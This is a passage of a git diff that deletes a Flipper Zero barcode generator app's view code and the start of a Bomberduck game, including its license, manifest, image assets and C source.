canvas, BarcodeData* barcode_data) { - FuriString* raw_data = barcode_data->raw_data; - FuriString* barcode_digits = barcode_data->correct_data; - //BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - int total_pixels = 0; - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(wn_digit == 1) { - total_pixels += 3; - } else { - total_pixels += 1; - } - if((i + 1) % 9 == 0) { - total_pixels += 1; - } - } - - int x = (128 - total_pixels) / 2; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - bool filled_in = true; - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); - canvas_draw_str_aligned( - canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(filled_in) { - if(wn_digit == 1) { - x = draw_bits(canvas, "111", x, y, width, height); - } else { - x = draw_bits(canvas, "1", x, y, width, height); - } - filled_in = false; - } else { - if(wn_digit == 1) { - x = draw_bits(canvas, "000", x, y, width, height); - } else { - x = draw_bits(canvas, "0", x, y, width, height); - } - filled_in = true; - } - if((i + 1) % 9 == 0) { - x = draw_bits(canvas, "0", x, y, width, height); - filled_in = true; - } - } -} - -static void draw_code_128(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* raw_data = barcode_data->raw_data; - FuriString* barcode_digits = barcode_data->correct_data; - - int barcode_length = furi_string_size(barcode_digits); - - int x = (128 - barcode_length) / 2; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - x = draw_bits(canvas, furi_string_get_cstr(barcode_digits), x, y, width, height); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); - canvas_draw_str_aligned( - canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); -} - -static void draw_codabar(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* raw_data = barcode_data->raw_data; - FuriString* barcode_digits = barcode_data->correct_data; - //BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - int total_pixels = 0; - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(wn_digit == 1) { - total_pixels += 3; - } else { - total_pixels += 1; - } - if((i + 1) % 7 == 0) { - total_pixels += 1; - } - } - - int x = (128 - total_pixels) / 2; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - bool filled_in = true; - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); - canvas_draw_str_aligned( - canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(filled_in) { - if(wn_digit == 1) { - x = draw_bits(canvas, "111", x, y, width, height); - } else { - x = draw_bits(canvas, "1", x, y, width, height); - } - filled_in = false; - } else { - if(wn_digit == 1) { - x = draw_bits(canvas, "000", x, y, width, height); - } else { - x = draw_bits(canvas, "0", x, y, width, height); - } - filled_in = true; - } - if((i + 1) % 7 == 0) { - x = draw_bits(canvas, "0", x, y, width, height); - filled_in = true; - } - } -} - -static void barcode_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - BarcodeModel* barcode_model = ctx; - BarcodeData* data = barcode_model->data; - // const char* barcode_digits =; - - canvas_clear(canvas); - if(data->valid) { - switch(data->type_obj->type) { - case UPCA: - draw_upc_a(canvas, data); - break; - case EAN8: - draw_ean_8(canvas, data); - break; - case EAN13: - draw_ean_13(canvas, data); - break; - case CODE39: - draw_code_39(canvas, data); - break; - case CODE128: - case CODE128C: - draw_code_128(canvas, data); - break; - case CODABAR: - draw_codabar(canvas, data); - break; - case UNKNOWN: - default: - break; - } - } else { - switch(data->reason) { - case WrongNumberOfDigits: - draw_error_str(canvas, "Wrong # of characters"); - break; - case InvalidCharacters: - draw_error_str(canvas, "Invalid characters"); - break; - case UnsupportedType: - draw_error_str(canvas, "Unsupported barcode type"); - break; - case FileOpening: - draw_error_str(canvas, "Could not open file"); - break; - case InvalidFileData: - draw_error_str(canvas, "Invalid file data"); - break; - case MissingEncodingTable: - draw_error_str(canvas, "Missing encoding table"); - break; - case EncodingTableError: - draw_error_str(canvas, "Encoding table error"); - break; - default: - draw_error_str(canvas, "Could not read barcode data"); - break; - } - } -} - -bool barcode_input_callback(InputEvent* input_event, void* ctx) { - UNUSED(ctx); - //furi_assert(ctx); - - //Barcode* test_view_object = ctx; - - if(input_event->key == InputKeyBack) { - return false; - } else { - return true; - } -} - -Barcode* barcode_view_allocate(BarcodeApp* barcode_app) { - furi_assert(barcode_app); - - Barcode* barcode = malloc(sizeof(Barcode)); - - barcode->view = view_alloc(); - barcode->barcode_app = barcode_app; - - view_set_context(barcode->view, barcode); - view_allocate_model(barcode->view, ViewModelTypeLocking, sizeof(BarcodeModel)); - view_set_draw_callback(barcode->view, barcode_draw_callback); - view_set_input_callback(barcode->view, barcode_input_callback); - - return barcode; -} - -void barcode_free_model(Barcode* barcode) { - with_view_model( - barcode->view, - BarcodeModel * model, - { - if(model->file_path != NULL) { - furi_string_free(model->file_path); - } - if(model->data != NULL) { - if(model->data->raw_data != NULL) { - furi_string_free(model->data->raw_data); - } - if(model->data->correct_data != NULL) { - furi_string_free(model->data->correct_data); - } - free(model->data); - } - }, - false); -} - -void barcode_free(Barcode* barcode) { - furi_assert(barcode); - - barcode_free_model(barcode); - view_free(barcode->view); - free(barcode); -} - -View* barcode_get_view(Barcode* barcode) { - furi_assert(barcode); - return barcode->view; -} diff --git a/applications/external/barcode_gen/views/barcode_view.h b/applications/external/barcode_gen/views/barcode_view.h deleted file mode 100644 index 828428c08..000000000 --- a/applications/external/barcode_gen/views/barcode_view.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include - -typedef struct BarcodeApp BarcodeApp; - -typedef struct { - View* view; - BarcodeApp* barcode_app; -} Barcode; - -typedef struct { - FuriString* file_path; - BarcodeData* data; -} BarcodeModel; - -Barcode* barcode_view_allocate(BarcodeApp* barcode_app); - -void barcode_free_model(Barcode* barcode); - -void barcode_free(Barcode* barcode); - -View* barcode_get_view(Barcode* barcode); diff --git a/applications/external/barcode_gen/views/create_view.c b/applications/external/barcode_gen/views/create_view.c deleted file mode 100644 index e4e489113..000000000 --- a/applications/external/barcode_gen/views/create_view.c +++ /dev/null @@ -1,494 +0,0 @@ -#include "../barcode_app.h" -#include "create_view.h" -#include - -#define LINE_HEIGHT 16 -#define TEXT_PADDING 4 -#define TOTAL_MENU_ITEMS 5 - -typedef enum { - TypeMenuItem, - FileNameMenuItem, - BarcodeDataMenuItem, - SaveMenuButton, - DeleteMenuButton -} MenuItems; - -/** - * Took this function from blackjack - * @author @teeebor -*/ -void draw_menu_item( - Canvas* const canvas, - const char* text, - const char* value, - int y, - bool left_caret, - bool right_caret, - bool selected) { - UNUSED(selected); - if(y < 0 || y >= 64) { - return; - } - - if(selected) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); - canvas_set_color(canvas, ColorWhite); - } - - canvas_draw_str_aligned(canvas, 4, y + TEXT_PADDING, AlignLeft, AlignTop, text); - if(left_caret) { - canvas_draw_str_aligned(canvas, 60, y + TEXT_PADDING, AlignLeft, AlignTop, "<"); - } - - canvas_draw_str_aligned(canvas, 90, y + TEXT_PADDING, AlignCenter, AlignTop, value); - if(right_caret) { - canvas_draw_str_aligned(canvas, 120, y + TEXT_PADDING, AlignRight, AlignTop, ">"); - } - - canvas_set_color(canvas, ColorBlack); -} - -void draw_button(Canvas* const canvas, const char* text, int y, bool selected) { - if(selected) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); - canvas_set_color(canvas, ColorWhite); - } - - canvas_draw_str_aligned(canvas, 64, y + TEXT_PADDING, AlignCenter, AlignTop, text); - - canvas_set_color(canvas, ColorBlack); -} - -static void app_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - - CreateViewModel* create_view_model = ctx; - - BarcodeTypeObj* type_obj = create_view_model->barcode_type; - if(create_view_model->barcode_type == NULL) { - return; - } - BarcodeType selected_type = type_obj->type; - - int selected_menu_item = create_view_model->selected_menu_item; - - int total_menu_items = create_view_model->mode == EditMode ? TOTAL_MENU_ITEMS : - TOTAL_MENU_ITEMS - 1; - - int startY = 0; - - //the menu items index that is/would be in view - //int current_last_menu_item = selected_menu_item + 3; - if(selected_menu_item > 1) { - int offset = 2; - if(selected_menu_item + offset > total_menu_items) { - offset = 3; - } - startY -= (LINE_HEIGHT * (selected_menu_item - offset)); - } - - //ensure that the scroll height is atleast 1 - int scrollHeight = ceil(64.0 / total_menu_items); - int scrollPos = scrollHeight * selected_menu_item; - - canvas_set_color(canvas, ColorBlack); - //draw the scroll bar box - canvas_draw_box(canvas, 125, scrollPos, 3, scrollHeight); - //draw the scroll bar track - canvas_draw_box(canvas, 126, 0, 1, 64); - - draw_menu_item( - canvas, - "Type", - type_obj->name, - TypeMenuItem * LINE_HEIGHT + startY, - selected_type > 0, - selected_type < NUMBER_OF_BARCODE_TYPES - 2, - selected_menu_item == TypeMenuItem); - - draw_menu_item( - canvas, - "Name", - furi_string_empty(create_view_model->file_name) ? - "--" : - furi_string_get_cstr(create_view_model->file_name), - FileNameMenuItem * LINE_HEIGHT + startY, - false, - false, - selected_menu_item == FileNameMenuItem); - - draw_menu_item( - canvas, - "Data", - furi_string_empty(create_view_model->barcode_data) ? - "--" : - furi_string_get_cstr(create_view_model->barcode_data), - BarcodeDataMenuItem * LINE_HEIGHT + startY, - false, - false, - selected_menu_item == BarcodeDataMenuItem); - - draw_button( - canvas, - "Save", - SaveMenuButton * LINE_HEIGHT + startY, - selected_menu_item == SaveMenuButton); - - if(create_view_model->mode == EditMode) { - draw_button( - canvas, - "Delete", - DeleteMenuButton * LINE_HEIGHT + startY, - selected_menu_item == DeleteMenuButton); - } -} - -void text_input_callback(void* ctx) { - CreateView* create_view_object = ctx; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - if(create_view_object->setter == FileNameSetter) { - furi_string_set_str(model->file_name, create_view_object->input); - } - if(create_view_object->setter == BarcodeDataSetter) { - furi_string_set_str(model->barcode_data, create_view_object->input); - } - }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, CreateBarcodeView); -} - -static bool app_input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - - if(input_event->key == InputKeyBack) { - return false; - } - - CreateView* create_view_object = ctx; - - //get the currently selected menu item from the model - int selected_menu_item = 0; - BarcodeTypeObj* barcode_type = NULL; - FuriString* file_name; - FuriString* barcode_data; - CreateMode mode; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - selected_menu_item = model->selected_menu_item; - barcode_type = model->barcode_type; - file_name = model->file_name; - barcode_data = model->barcode_data; - mode = model->mode; - }, - true); - - int total_menu_items = mode == EditMode ? TOTAL_MENU_ITEMS : TOTAL_MENU_ITEMS - 1; - - if(input_event->type == InputTypePress) { - if(input_event->key == InputKeyUp && selected_menu_item > 0) { - selected_menu_item--; - } else if(input_event->key == InputKeyDown && selected_menu_item < total_menu_items - 1) { - selected_menu_item++; - } else if(input_event->key == InputKeyLeft) { - if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type - if(barcode_type->type > 0) { - barcode_type = barcode_type_objs[barcode_type->type - 1]; - } - } - } else if(input_event->key == InputKeyRight) { - if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type - if(barcode_type->type < NUMBER_OF_BARCODE_TYPES - 2) { - barcode_type = barcode_type_objs[barcode_type->type + 1]; - } - } - } else if(input_event->key == InputKeyOk) { - if(selected_menu_item == FileNameMenuItem && barcode_type != NULL) { - create_view_object->setter = FileNameSetter; - - snprintf( - create_view_object->input, - sizeof(create_view_object->input), - "%s", - furi_string_get_cstr(file_name)); - - text_input_set_result_callback( - create_view_object->barcode_app->text_input, - text_input_callback, - create_view_object, - create_view_object->input, - TEXT_BUFFER_SIZE - BARCODE_EXTENSION_LENGTH, //remove the barcode length - //clear default text - false); - text_input_set_header_text( - create_view_object->barcode_app->text_input, "File Name"); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, TextInputView); - } - if(selected_menu_item == BarcodeDataMenuItem && barcode_type != NULL) { - create_view_object->setter = BarcodeDataSetter; - - snprintf( - create_view_object->input, - sizeof(create_view_object->input), - "%s", - furi_string_get_cstr(barcode_data)); - - text_input_set_result_callback( - create_view_object->barcode_app->text_input, - text_input_callback, - create_view_object, - create_view_object->input, - TEXT_BUFFER_SIZE, - //clear default text - false); - text_input_set_header_text( - create_view_object->barcode_app->text_input, "Barcode Data"); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, TextInputView); - } - if(selected_menu_item == SaveMenuButton && barcode_type != NULL) { - save_barcode(create_view_object); - } - if(selected_menu_item == DeleteMenuButton && barcode_type != NULL) { - if(mode == EditMode) { - remove_barcode(create_view_object); - } else if(mode == NewMode) { - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MainMenuView); - } - } - } - } - - //change the currently selected menu item - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - model->selected_menu_item = selected_menu_item; - model->barcode_type = barcode_type; - }, - true); - - return true; -} - -CreateView* create_view_allocate(BarcodeApp* barcode_app) { - furi_assert(barcode_app); - - CreateView* create_view_object = malloc(sizeof(CreateView)); - - create_view_object->view = view_alloc(); - create_view_object->barcode_app = barcode_app; - - view_set_context(create_view_object->view, create_view_object); - view_allocate_model(create_view_object->view, ViewModelTypeLocking, sizeof(CreateViewModel)); - view_set_draw_callback(create_view_object->view, app_draw_callback); - view_set_input_callback(create_view_object->view, app_input_callback); - - return create_view_object; -} - -void create_view_free_model(CreateView* create_view_object) { - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - if(model->file_path != NULL) { - furi_string_free(model->file_path); - } - if(model->file_name != NULL) { - furi_string_free(model->file_name); - } - if(model->barcode_data != NULL) { - furi_string_free(model->barcode_data); - } - }, - true); -} - -void remove_barcode(CreateView* create_view_object) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool success = false; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - FURI_LOG_I(TAG, "Attempting to remove file"); - if(model->file_path != NULL) { - FURI_LOG_I(TAG, "Removing File: %s", furi_string_get_cstr(model->file_path)); - if(storage_simply_remove(storage, furi_string_get_cstr(model->file_path))) { - FURI_LOG_I( - TAG, - "File: \"%s\" was successfully removed", - furi_string_get_cstr(model->file_path)); - success = true; - } else { - FURI_LOG_E(TAG, "Unable to remove file!"); - success = false; - } - } else { - FURI_LOG_E(TAG, "Could not remove barcode file"); - success = false; - } - }, - true); - furi_record_close(RECORD_STORAGE); - - with_view_model( - create_view_object->barcode_app->message_view->view, - MessageViewModel * model, - { - if(success) { - model->message = "File Deleted"; - } else { - model->message = "Could not delete file"; - } - }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MessageErrorView); -} - -void save_barcode(CreateView* create_view_object) { - BarcodeTypeObj* barcode_type = NULL; - FuriString* file_path; //this may be empty - FuriString* file_name; - FuriString* barcode_data; - CreateMode mode; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - file_path = model->file_path; - file_name = model->file_name; - barcode_data = model->barcode_data; - barcode_type = model->barcode_type; - mode = model->mode; - }, - true); - - if(file_name == NULL || furi_string_empty(file_name)) { - FURI_LOG_E(TAG, "File Name cannot be empty"); - return; - } - if(barcode_data == NULL || furi_string_empty(barcode_data)) { - FURI_LOG_E(TAG, "Barcode Data cannot be empty"); - return; - } - if(barcode_type == NULL) { - FURI_LOG_E(TAG, "Type not defined"); - return; - } - - bool success = false; - - FuriString* full_file_path = furi_string_alloc_set(DEFAULT_USER_BARCODES); - furi_string_push_back(full_file_path, '/'); - furi_string_cat(full_file_path, file_name); - furi_string_cat_str(full_file_path, BARCODE_EXTENSION); - - Storage* storage = furi_record_open(RECORD_STORAGE); - - if(mode == EditMode) { - if(!furi_string_empty(file_path)) { - if(!furi_string_equal(file_path, full_file_path)) { - FS_Error error = storage_common_rename( - storage, - furi_string_get_cstr(file_path), - furi_string_get_cstr(full_file_path)); - if(error != FSE_OK) { - FURI_LOG_E(TAG, "Rename error: %s", storage_error_get_desc(error)); - } else { - FURI_LOG_I(TAG, "Rename Success"); - } - } - } - } - - FlipperFormat* ff = flipper_format_file_alloc(storage); - - FURI_LOG_I(TAG, "Saving Barcode to: %s", furi_string_get_cstr(full_file_path)); - - bool file_opened_status = false; - if(mode == NewMode) { - file_opened_status = - flipper_format_file_open_new(ff, furi_string_get_cstr(full_file_path)); - } else if(mode == EditMode) { - file_opened_status = - flipper_format_file_open_always(ff, furi_string_get_cstr(full_file_path)); - } - - if(file_opened_status) { - // Filetype: Barcode - // Version: 1 - - // # Types - UPC-A, EAN-8, EAN-13, CODE-39 - // Type: CODE-39 - // Data: AB - flipper_format_write_string_cstr(ff, "Filetype", "Barcode"); - - flipper_format_write_string_cstr(ff, "Version", FILE_VERSION); - - flipper_format_write_comment_cstr( - ff, "Types - UPC-A, EAN-8, EAN-13, CODE-39, CODE-128, Codabar"); - - flipper_format_write_string_cstr(ff, "Type", barcode_type->name); - - flipper_format_write_string_cstr(ff, "Data", furi_string_get_cstr(barcode_data)); - - success = true; - } else { - FURI_LOG_E(TAG, "Save error"); - success = false; - } - furi_string_free(full_file_path); - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - with_view_model( - create_view_object->barcode_app->message_view->view, - MessageViewModel * model, - { - if(success) { - model->message = "File Saved!"; - } else { - model->message = "A saving error has occurred"; - } - }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MessageErrorView); -} - -void create_view_free(CreateView* create_view_object) { - furi_assert(create_view_object); - - create_view_free_model(create_view_object); - view_free(create_view_object->view); - free(create_view_object); -} - -View* create_get_view(CreateView* create_view_object) { - furi_assert(create_view_object); - return create_view_object->view; -} \ No newline at end of file diff --git a/applications/external/barcode_gen/views/create_view.h b/applications/external/barcode_gen/views/create_view.h deleted file mode 100644 index 6063786d9..000000000 --- a/applications/external/barcode_gen/views/create_view.h +++ /dev/null @@ -1,46 +0,0 @@ -#pragma once - -#include - -typedef struct BarcodeApp BarcodeApp; - -typedef enum { - FileNameSetter, - BarcodeDataSetter -} InputSetter; //what value to set for the text input view - -typedef enum { - EditMode, - - NewMode -} CreateMode; - -typedef struct { - View* view; - BarcodeApp* barcode_app; - - InputSetter setter; - char input[TEXT_BUFFER_SIZE]; -} CreateView; - -typedef struct { - int selected_menu_item; - - CreateMode mode; - BarcodeTypeObj* barcode_type; - FuriString* file_path; //the current file that is opened - FuriString* file_name; - FuriString* barcode_data; -} CreateViewModel; - -CreateView* create_view_allocate(BarcodeApp* barcode_app); - -void remove_barcode(CreateView* create_view_object); - -void save_barcode(CreateView* create_view_object); - -void create_view_free_model(CreateView* create_view_object); - -void create_view_free(CreateView* create_view_object); - -View* create_get_view(CreateView* create_view_object); diff --git a/applications/external/barcode_gen/views/message_view.c b/applications/external/barcode_gen/views/message_view.c deleted file mode 100644 index 3a9aa90b3..000000000 --- a/applications/external/barcode_gen/views/message_view.c +++ /dev/null @@ -1,66 +0,0 @@ -#include "../barcode_app.h" -#include "message_view.h" - -static void app_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - - MessageViewModel* message_view_model = ctx; - - canvas_clear(canvas); - if(message_view_model->message != NULL) { - canvas_draw_str_aligned( - canvas, 62, 30, AlignCenter, AlignCenter, message_view_model->message); - } - - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 100, 52, 28, 12); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned(canvas, 114, 58, AlignCenter, AlignCenter, "OK"); -} - -static bool app_input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - - MessageView* message_view_object = ctx; - - if(input_event->key == InputKeyBack) { - view_dispatcher_switch_to_view( - message_view_object->barcode_app->view_dispatcher, MainMenuView); - } - if(input_event->type == InputTypeShort) { - if(input_event->key == InputKeyOk) { - view_dispatcher_switch_to_view( - message_view_object->barcode_app->view_dispatcher, MainMenuView); - } - } - - return true; -} - -MessageView* message_view_allocate(BarcodeApp* barcode_app) { - furi_assert(barcode_app); - - MessageView* message_view_object = malloc(sizeof(MessageView)); - - message_view_object->view = view_alloc(); - message_view_object->barcode_app = barcode_app; - - view_set_context(message_view_object->view, message_view_object); - view_allocate_model(message_view_object->view, ViewModelTypeLocking, sizeof(MessageViewModel)); - view_set_draw_callback(message_view_object->view, app_draw_callback); - view_set_input_callback(message_view_object->view, app_input_callback); - - return message_view_object; -} - -void message_view_free(MessageView* message_view_object) { - furi_assert(message_view_object); - - view_free(message_view_object->view); - free(message_view_object); -} - -View* message_get_view(MessageView* message_view_object) { - furi_assert(message_view_object); - return message_view_object->view; -} \ No newline at end of file diff --git a/applications/external/barcode_gen/views/message_view.h b/applications/external/barcode_gen/views/message_view.h deleted file mode 100644 index 33acc3d0c..000000000 --- a/applications/external/barcode_gen/views/message_view.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include - -typedef struct BarcodeApp BarcodeApp; - -typedef struct { - View* view; - BarcodeApp* barcode_app; -} MessageView; - -typedef struct { - const char* message; -} MessageViewModel; - -MessageView* message_view_allocate(BarcodeApp* barcode_app); - -void message_view_free_model(MessageView* message_view_object); - -void message_view_free(MessageView* message_view_object); - -View* message_get_view(MessageView* message_view_object); diff --git a/applications/external/bomberduck/LICENSE b/applications/external/bomberduck/LICENSE deleted file mode 100644 index 4624b249c..000000000 --- a/applications/external/bomberduck/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -MIT License - -Copyright (c) 2023 лень - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/applications/external/bomberduck/application.fam b/applications/external/bomberduck/application.fam deleted file mode 100644 index 958ac7c02..000000000 --- a/applications/external/bomberduck/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="bomberduck", - name="Bomberduck", - apptype=FlipperAppType.EXTERNAL, - entry_point="bomberduck_app", - requires=[ - "gui", - ], - stack_size=1 * 1024, - fap_icon="bomb.png", - fap_category="Games", - fap_icon_assets="assets", - fap_author="@leo-need-more-coffee & @xMasterX", - fap_version="1.0", - fap_description="Bomberduck(Bomberman) Game", -) diff --git a/applications/external/bomberduck/assets/bomb0.png b/applications/external/bomberduck/assets/bomb0.png deleted file mode 100644 index 3fdc3a3c1..000000000 Binary files a/applications/external/bomberduck/assets/bomb0.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/bomb1.png b/applications/external/bomberduck/assets/bomb1.png deleted file mode 100644 index 11d05b9b7..000000000 Binary files a/applications/external/bomberduck/assets/bomb1.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/bomb2.png b/applications/external/bomberduck/assets/bomb2.png deleted file mode 100644 index 38ce7c732..000000000 Binary files a/applications/external/bomberduck/assets/bomb2.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/box.png b/applications/external/bomberduck/assets/box.png deleted file mode 100644 index bbd352b6f..000000000 Binary files a/applications/external/bomberduck/assets/box.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/end.png b/applications/external/bomberduck/assets/end.png deleted file mode 100644 index d634933b7..000000000 Binary files a/applications/external/bomberduck/assets/end.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/enemy1.png b/applications/external/bomberduck/assets/enemy1.png deleted file mode 100644 index 7ee7cb27f..000000000 Binary files a/applications/external/bomberduck/assets/enemy1.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/enemyleft.png b/applications/external/bomberduck/assets/enemyleft.png deleted file mode 100644 index bb85dfbb2..000000000 Binary files a/applications/external/bomberduck/assets/enemyleft.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/enemyright.png b/applications/external/bomberduck/assets/enemyright.png deleted file mode 100644 index 45e6a861a..000000000 Binary files a/applications/external/bomberduck/assets/enemyright.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/explore.png b/applications/external/bomberduck/assets/explore.png deleted file mode 100644 index 5eb50b669..000000000 Binary files a/applications/external/bomberduck/assets/explore.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/playerleft.png b/applications/external/bomberduck/assets/playerleft.png deleted file mode 100644 index 86997a985..000000000 Binary files a/applications/external/bomberduck/assets/playerleft.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/playerright.png b/applications/external/bomberduck/assets/playerright.png deleted file mode 100644 index 1a6283d9c..000000000 Binary files a/applications/external/bomberduck/assets/playerright.png and /dev/null differ diff --git a/applications/external/bomberduck/assets/unbreakbox.png b/applications/external/bomberduck/assets/unbreakbox.png deleted file mode 100644 index 5e65912d5..000000000 Binary files a/applications/external/bomberduck/assets/unbreakbox.png and /dev/null differ diff --git a/applications/external/bomberduck/bomb.png b/applications/external/bomberduck/bomb.png deleted file mode 100644 index 44b9bfdea..000000000 Binary files a/applications/external/bomberduck/bomb.png and /dev/null differ diff --git a/applications/external/bomberduck/bomberduck.c b/applications/external/bomberduck/bomberduck.c deleted file mode 100644 index eddec089f..000000000 --- a/applications/external/bomberduck/bomberduck.c +++ /dev/null @@ -1,648 +0,0 @@ -#include -#include - -#include -#include -#include -#include -#include "bomberduck_icons.h" -#include -#include - -int max(int a, int b) { - return (a > b) ? a : b; -} - -int min(int a, int b) { - return (a < b) ? a : b; -} - -#define WorldSizeX 12 -#define WorldSizeY 6 -#define BombRange 1 - -typedef struct { - FuriMutex* mutex; -} BomberState; - -typedef struct { - int row; - int col; -} Cell; - -typedef struct { - Cell cells[WorldSizeY * WorldSizeX]; - int front; - int rear; -} Queue; - -void enqueue(Queue* q, Cell c) { - q->cells[q->rear] = c; - q->rear++; -} - -Cell dequeue(Queue* q) { - Cell c = q->cells[q->front]; - q->front++; - - return c; -} - -bool is_empty(Queue* q) { - return q->front == q->rear; -} - -typedef struct { - int x; - int y; - int planted; -} Bomb; - -typedef struct { - int x; - int y; - bool side; -} Player; - -typedef struct { - int x; - int y; - int last; - bool side; - int level; -} Enemy; - -typedef struct { - int matrix[WorldSizeY][WorldSizeX]; - Player* player; - bool running; - int level; - - Enemy enemies[10]; - int enemies_count; - - Bomb bombs[100]; - int bombs_count; - - int endx; - int endy; -} World; - -Player player = {0, 0, 1}; -World world = {{{0}}, &player, 1, 0, {}, 0, {}, 0, 0, 0}; -bool vibration = false; - -void init() { - player.x = 1; - player.y = 1; - - world.endx = 4 + rand() % 8; - world.endy = rand() % 6; - for(int i = 0; i < WorldSizeY; i++) { - for(int j = 0; j < WorldSizeX; j++) { - world.matrix[i][j] = rand() % 3; - } - } - world.running = 1; - world.bombs_count = 0; - vibration = false; - for(int j = max(0, player.y - BombRange); j < min(WorldSizeY, player.y + BombRange + 1); j++) { - world.matrix[j][player.x] = 0; - } - - for(int j = max(0, player.x - BombRange); j < min(WorldSizeX, player.x + BombRange + 1); j++) { - world.matrix[player.y][j] = 0; - } - - world.enemies_count = 0; - for(int j = 0; j < rand() % 4 + world.level / 5; j++) { - Enemy enemy; - enemy.x = 4 + rand() % 7; - enemy.y = rand() % 6; - enemy.last = 0; - enemy.side = 1; - enemy.level = 0; - - world.enemies[j] = enemy; - world.enemies_count++; - - for(int m = max(0, world.enemies[j].y - BombRange); - m < min(WorldSizeY, world.enemies[j].y + BombRange + 1); - m++) { - world.matrix[m][world.enemies[j].x] = 0; - } - - for(int m = max(0, world.enemies[j].x - BombRange); - m < min(WorldSizeX, world.enemies[j].x + BombRange + 1); - m++) { - world.matrix[world.enemies[j].y][m] = 0; - } - } - world.matrix[world.endy][world.endx] = 1; -} - -const NotificationSequence end = { - &message_vibro_on, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - 